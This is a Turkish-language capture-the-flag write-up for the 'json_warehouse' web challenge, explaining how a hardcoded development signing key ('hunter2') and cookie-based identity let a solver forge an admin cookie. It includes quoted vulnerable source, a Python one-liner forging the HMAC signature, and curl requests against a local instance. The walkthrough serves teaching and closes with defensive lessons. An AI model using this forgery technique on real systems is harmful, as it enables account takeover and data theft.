GaslightCTF 2026 — json_warehouse Çözümü
Elysia ile yazılmış bir not saklama uygulaması, her işlemi istemcinin elindeki bir çereze bağlıyor ve üretim dışında sabit kodlanmış bir imzalama anahtarına düşüyor. O anahtarla user=1000 çerezini imzalayınca yöneticinin sakladığı bayrak doğrudan geri geliyor.
GaslightCTF 2026 — json_warehouse
İstemcinin çerezinin oturumun kendisi olduğu ve imzalama anahtarının üretim dışında çok elverişli bir varsayılanı bulunan bir not saklama uygulaması.
- Yarışma: GaslightCTF 2026
- Kategori: Web
- Bileşenler: Bun ve Elysia (arayüz HTMX)
- Bayrak biçimi:
gaslightCTF{...}
json_warehouse, JSON öğeleri saklamanı sağlıyor. Bayrak tek bir öğe: uygulamanın ilk oluşturduğu hesabın, yani yöneticinin ambarında duruyor.
1. Bayrak nerede duruyor
Veri katmanı, açılışta bir yönetici oluşturuyor ve bayrağı onun ambarına öğe olarak koyuyor:
let uid = 1000;
export function createUser(username: string, password: string) {
const id = uid++;
users.set(id, { id, username, password });
warehouse.set(id, new Map());
return id;
}setItem(
createUser(
"admin",
process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
),
"flag",
process.env.FLAG || "gaslightCTF{flag}",
);uid 1000'den başlayıp arttığı için yönetici 1000 numaralı kullanıcıdır ve gerçek kayıtlar 1001'den başlar. Bayrak warehouse[1000]["flag"] konumunda duruyor.
2. Kimlik = çerez
Sunucu tarafında bir oturum tablosu yok. Uygulama tek bir çereze güveniyor:
const app = new Elysia({
cookie: {
secrets: process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
sign: ["user"],
},
})Ve her istek, mevcut kullanıcıyı yalnızca bu çerezden okuyor:
export const userPlugin = new Elysia({ name: "user" })
.guard({
cookie: z.object({ user: z.string().optional() }),
})
.resolve(({ cookie }) => ({
user:
cookie.user.value !== undefined ? getUser(+cookie.user.value) : undefined,
}))
.as("scoped");Yani çerezin değeri doğrudan getUser(+value) çağrısına gidiyor. Oturum açmış kimliğin gerçekten isteği yapana ait olduğuna dair bir kontrol yok — istek sahibi, çerezin söylediği kişidir. Depodaki her rota da user.id üzerinden çalışıyor:
const value = getItem(user.id, key);1000 diyen bir çerez sunabilirsek yönetici oluruz — ve onun flag öğesi bizim olur.
3. Anahtar
Çerez imzalı, dolayısıyla bir müşteri öylece user=1000 yazamaz. Ama imzalama anahtarı şu:
process.env.NODE_ENV === "development" ? "hunter2" : randomUUID()Geliştirme modunda anahtar birebir hunter2. Uygulama bu şekilde çalıştığında imza hiçbir engel değil — anahtarı biliyoruz. İmza algoritması da kolayca yeniden üretilebilir: herhangi bir kullanıcı kaydet, çereze bak, eşleştir.
4. İmza biçimini doğrulamak
Tek kullanımlık bir hesap kaydedip çerezini yakalayalım:
$ curl -s -i -c jw.jar -d 'username=alice&password=pw' \
http://127.0.0.1:8282/auth/register | grep -i set-cookie
set-cookie: user=1001.Ut6NQzQomc8eUguOCSkejfzxw%2B2PWcoYPBh1SfGjHoY; Path=/Biçim değer.imza şeklinde. İmza, değerin standart base64 ile kodlanmış HMAC-SHA256 özeti; anahtar gizli anahtar ve sondaki = dolgusu atılmış. Doğrulayalım:
import hmac, hashlib, base64
sig = base64.b64encode(hmac.new(b"hunter2", b"1001", hashlib.sha256).digest()).decode().rstrip("=")
print(sig)Ut6NQzQomc8eUguOCSkejfzxw+2PWcoYPBh1SfGjHoYBu, çerezle birebir aynı. Anahtar doğrulandı.
5. Yönetici çerezini uydurmak
Aynı anahtarla 1000 değerini imzalayalım:
$ python3 -c "import hmac,hashlib,base64; \
print(base64.b64encode(hmac.new(b'hunter2',b'1000',hashlib.sha256).digest()).decode().rstrip('='))"
oP0L/M1P81ap+F2XV70d4r7DBJw/PiHeCjoP2b9pbrYBunu gönderelim (/ ve + karakterlerini URL kodla):
$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
http://127.0.0.1:8282/storage | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}Yöneticinin ambarında tek bir flag öğesi var ve onu doğrudan okuyabiliyoruz:
$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
http://127.0.0.1:8282/storage/flag | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}6. Neden çalışıyor
İki zayıflık üst üste biniyor:
- Sabit kodlanmış yedek anahtar. Üretim dışında imzalama anahtarı bir sabit olan
hunter2. Kaynağı okuyabilen ya da varsayılanı tahmin edebilen herkes istediği değeri imzalayabilir. - İstemcide tutulan kimlik. Uygulama, imzalı çerezi kimliğin tamamı sayıyor ve sunucu tarafındaki oturum durumuyla hiç karşılaştırmıyor. Kimlikler sıralı ve yönetici belirli biçimde
1000olduğu için1000çerezini uydurmak, tek ve tahmin edilebilir hedefli bir IDOR'a dönüşüyor.
Bir imza, çerezi ancak anahtarı gizli olduğu sürece korur. Varsayılan bir anahtar, sıralı bir kimlik ve "kimlik hesabın kendisidir" modeli bir araya gelince, imzalı çerez ardına kadar açık bir kapıya dönüşür.
7. Bayrak
gaslightCTF{fake_flag_for_local_testing}FLAG ve imzalama anahtarı ortam değerleri; gösterilen bayrak, çalıştırmayı yeniden üretmek için kullanılan yerel test değeri.
8. Öğrenilen
- Varsayılan ya da sabit kodlanmış bir anahtarla açılmayı reddet. Anahtarı açılışta üret, yoksa gürültülü biçimde dur ve üretim ortamının yanlışlıkla devralabileceği bir geliştirme yedeğini asla yayına koyma.
- İstemcinin elindeki bir değerin oturumun kendisi olmasına izin verme. Oturum durumunu sunucuda tut ve çerezi bir kimliğe eşle; imzalı çerezi yanıt değil, opak bir arama anahtarı olarak gör.
- Sıralı ve tahmin edilebilir kimlikler IDOR'u önemsizleştirir. Yönetici hiçbir zaman bilinen bir kimlik olmamalı ve saklanan nesnelere erişim, çerezdeki kimliğe göre bakmakla değil, isteği yapana göre yetkilendirilmeli.
- İmzalı bir çerez gördüğünde, ona güvenmeden önce anahtarı çıkarmayı dene.
hunter2gibi bir geliştirme varsayılanı, zaten elinde olan bir imzalama anahtarıdır.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver